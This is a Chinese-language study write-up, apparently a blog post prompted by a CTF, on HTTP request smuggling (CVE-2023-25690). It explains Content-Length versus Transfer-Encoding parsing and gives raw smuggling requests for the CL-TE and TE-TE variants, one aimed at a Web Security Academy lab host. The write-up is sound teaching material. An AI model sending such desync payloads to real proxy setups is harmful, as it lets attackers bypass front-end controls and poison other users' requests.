HTTP请求走私漏洞
因为在强网杯s9中遇到了有关HTTP请求走私漏洞,所以想学习并复现一下这个漏洞
漏洞编号:CVE-2023-25690
漏洞核心原理
漏洞定义:
HTTP请求走私(HTTP Request Smuggling)是一种利用前端服务器(如代理、负载均衡器)与后端服务器在解析HTTP请求时的不一致性,绕过安全机制并执行恶意操作的攻击技术。
其核心在于混淆请求边界,使前后端服务器对同一请求的解析结果不同,导致攻击者注入的恶意请求被后端服务器单独处理。
漏洞成因:
HTTP/1.1协议允许通过两种方式指定请求体长度:
Content-Length:直接声明请求体字节数。
Transfer-Encoding: chunked :分块传输,以0\r\n\r\n标记结束。
当前后端服务器对这两种方式的处理逻辑不一致时(如前端按Content-Length解析,后端按Transfer-Encoding解析),攻击者可构造特殊请求,使前端转发一个请求,而后端将其拆分为多个请求,从而绕过安全控制。
CL和TE
CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头,其中CL的值表示数据包的数据的长度,TE:
设置了 Transfer-Encoding: chunked 后,请求主体按一系列块的形式发送,并将省略 Content-Length
这里值得注意的是:
CL表示的数据包长度包括了\r和\n,比如说:

这里的数据包长度是9,但数据内容只有“hello”,是因为长度还包括了\r和\n。
当设置了 Transfer-Encoding: chunked 时在每个块的开头需要用十六进制数指明当前块的长度,数值后接 \r\n(占 2 字节),然后是块的内容,再接 \r\n 表示此块结束,当最后输入长度为0时,表示结束。
例如:
POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
6
hahaha
0
走私方式
CL-TE
前置服务器认为 Content-Length 优先级更高(或者根本就不支持 Transfer-Encoding ) ,后端认为 Transfer-Encoding 优先级更高。
例如:
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
♦这里前端服务器认为请求体的长度是6,是一个完整的数据包;后端服务器读取到 0 的时候就认为请求体已经结束了。这样,'G'就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。
GPOST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
......
TE-CL
TE-CL:前置服务器认为 Transfer-Encoding 优先级更高,后端认为 Content-Length 优先级更高(或者不支持 Transfer-Encoding )。
实现方法与“CL-TE”相类似
TE-TE
前置和后端服务器都支持 Transfer-Encoding,但我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。,其实也就是变成了 CL-TE 或 TE-CL。
姿势-构造数据包:
POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding[空格]: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
[========]
参考博客:

浙公网安备 33010602011771号